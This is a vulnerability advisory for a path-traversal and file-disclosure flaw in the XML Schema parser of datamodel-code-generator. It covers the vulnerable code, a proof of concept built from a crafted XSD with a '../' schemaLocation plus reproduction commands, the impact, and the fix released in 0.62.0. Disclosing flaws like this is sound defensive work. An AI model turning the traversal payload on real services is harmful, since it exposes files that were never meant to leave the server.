PT-2026-65641 · Pypi · Datamodel-Code-Generator

Published

2026-07-28

·

Updated

2026-07-28

CVSS v3.1

7.5

High

VectorAV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Summary

When generating models from an XML Schema (--input-file-type xmlschema), datamodel-code-generator resolves <xs:include>, <xs:import>, <xs:redefine>, and <xs:override> schemaLocation attributes against the source directory and reads the target with no restriction to the input/base directory. An attacker who controls the input XSD can read arbitrary files via ../ traversal or an absolute path, and the included schema's contents (type names, restrictions, enumerations) are folded into the generated output. Unlike the JSON-Schema $ref path, there is no allow remote refs control for XSD, so --no-allow-remote-refs does not mitigate it. This is an unauthenticated path-traversal / information-disclosure issue reachable in the default configuration.

Details

The XSD parser walks include-style children and reads each schemaLocation with only an is file() check (src/datamodel code generator/parser/xmlschema.py):
python
location = (source dir / schema location).resolve()  # .resolve() collapses ../, escapes base
if location in seen or not location.is file():
  continue
included root = self. parse schema( read xml text(location, self.encoding), location)
schema location is attacker-controlled and read xml text does path.read bytes(). Because (source dir / schema location).resolve() normalizes .. and accepts absolute paths, the resolved target can be any file the process can read; there is no is relative to(base path) containment (contrast the JSON-Schema HTTP-local branch, which does enforce it). The same unbounded read occurs both during version detection and during the main include-processing pass, so the included content is incorporated into the generated module.
Related vectors that were tested and do NOT apply (stdlib xml.etree.ElementTree is used): external-entity XXE file read does not occur (ElementTree does not fetch external entities), and entity-expansion "billion laughs" is rejected by CPython's expat amplification limit.

PoC

Self-contained reproducer (creates a temp dir, runs the generator, cleans up): https://gist.github.com/thegr1ffyn/c7096b797926348875d888652867eeb4 (poc.py).
Minimal manual reproduction:
bash
mkdir -p /tmp/x/secret /tmp/x/proj
cat > /tmp/x/secret/leak.xsd <<'EOF'
<?xml version="1.0"?>
<xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema">
 <xs:simpleType name="LEAK 5150"><xs:restriction base="xs:string"/></xs:simpleType>
</xs:schema>
EOF
cat > /tmp/x/proj/attack.xsd <<'EOF'
<?xml version="1.0"?>
<xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema">
 <xs:include schemaLocation="../../x/secret/leak.xsd"/>
 <xs:element name="Root" type="LEAK 5150"/>
</xs:schema>
EOF
datamodel-codegen --input /tmp/x/proj/attack.xsd --input-file-type xmlschema --no-allow-remote-refs --output /tmp/x/out.py
grep LEAK 5150 /tmp/x/out.py  # content from outside the project dir appears in generated code
An absolute schemaLocation="/abs/path/leak.xsd" works identically.

Impact

Arbitrary local file read / path traversal (CWE-22) leading to information disclosure (CWE-200). Any application, CI pipeline, or multi-tenant service that generates models from an attacker-supplied XSD and exposes (returns, logs, commits, renders) the generated code is affected. The attacker can read files outside the input tree whose data is addressable as XSD content (other schemas, configs), and the read itself is an arbitrary-file-access primitive. No flag mitigates it. The attacker controls only the input schema; no authentication or special privileges are required. (Raw bytes of files that are not valid XML are read into the process but not echoed verbatim, since parsing fails; verbatim disclosure applies to XML/XSD-shaped data.)

Suggested remediation

Reject resolved schemaLocation targets that are not resolved.is relative to(self.base path), and bring XSD includes under the same remote/external-reference policy enforced for JSON-Schema $ref.

Maintainer status

Confirmed by maintainer review and regression tests. The private fix PR was merged and released in 0.62.0: https://github.com/koxudaxi/datamodel-code-generator-ghsa-442q-2j6p-642g/pull/1
Fix summary: reject XSD schemaLocation targets that resolve outside the input base path, including relative traversal and absolute paths.
Release status: fixed in 0.62.0. XML Schema input support was introduced in 0.59.0, so affected versions are >= 0.59.0, <= 0.61.0.
Validation: uv run --group test --extra http pytest tests/main/xmlschema/test main xmlschema.py passed locally; uv run --group fix ruff check src/datamodel code generator/parser/xmlschema.py tests/main/xmlschema/test main xmlschema.py passed.
Submitted by: Hamza Haroon (thegr1ffyn)

Fix

Path traversal

Information Disclosure

Found an issue in the description? Have something to add? Feel free to write us 👾
dbugs@ptsecurity.com

Weakness Enumeration

CWE-610CWE-22CWE-200

Related Identifiers

GHSA-442Q-2J6P-642G

Affected Products

Datamodel-Code-Generator